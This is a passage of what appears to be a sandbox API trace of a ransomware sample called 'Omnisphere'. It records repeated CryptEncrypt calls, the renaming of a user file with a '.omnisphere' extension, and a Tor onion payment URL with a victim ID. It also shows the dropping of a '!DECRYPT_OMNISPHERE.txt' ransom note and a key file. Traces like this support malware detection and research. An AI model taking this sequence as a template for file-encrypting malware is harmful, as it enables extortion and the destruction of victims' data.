dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.850] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.851] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.852] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.853] CryptDestroyKey (hKey=0x1639528) returned 1 [0127.853] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0127.853] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.853] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0127.854] GetProcessHeap () returned 0x1600000 [0127.854] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1710e88 [0127.854] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1bc9bbbe61f14501.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1bc9bbbe61f14501.automaticdestinations-ms.omnisphere")) returned 1 [0127.854] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms.omnisphere.id" [0127.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1bc9bbbe61f14501.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0127.856] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0127.857] CloseHandle (hObject=0x388) returned 1 [0127.857] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.857] CloseHandle (hObject=0x3c0) returned 1 [0127.857] SetEndOfFile (hFile=0x288) returned 1 [0127.857] FlushFileBuffers (hFile=0x288) returned 1 [0127.860] CloseHandle (hObject=0x288) returned 1 [0127.860] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1bc9bbbe61f14501.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0127.860] GetProcessHeap () returned 0x1600000 [0127.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17111a0 [0127.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.861] GetProcessHeap () returned 0x1600000 [0127.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1de8 [0127.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1de8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.861] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.861] GetProcessHeap () returned 0x1600000 [0127.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17105a0 [0127.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17105a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.861] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.861] GetProcessHeap () returned 0x1600000 [0127.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16cd2f0 [0127.861] PathCombineW (in: pszDest=0x16cd2f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0127.861] GetProcessHeap () returned 0x1600000 [0127.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17096c8 [0127.861] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.861] WriteFile (in: hFile=0x288, lpBuffer=0x17096c8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x17096c8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0127.862] CloseHandle (hObject=0x288) returned 1 [0127.862] GetProcessHeap () returned 0x1600000 [0127.862] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17111a0 | out: hHeap=0x1600000) returned 1 [0127.862] GetProcessHeap () returned 0x1600000 [0127.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0127.862] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0127.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.862] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0127.862] CloseHandle (hObject=0x288) returned 1 [0127.862] GetProcessHeap () returned 0x1600000 [0127.862] HeapFree (in: 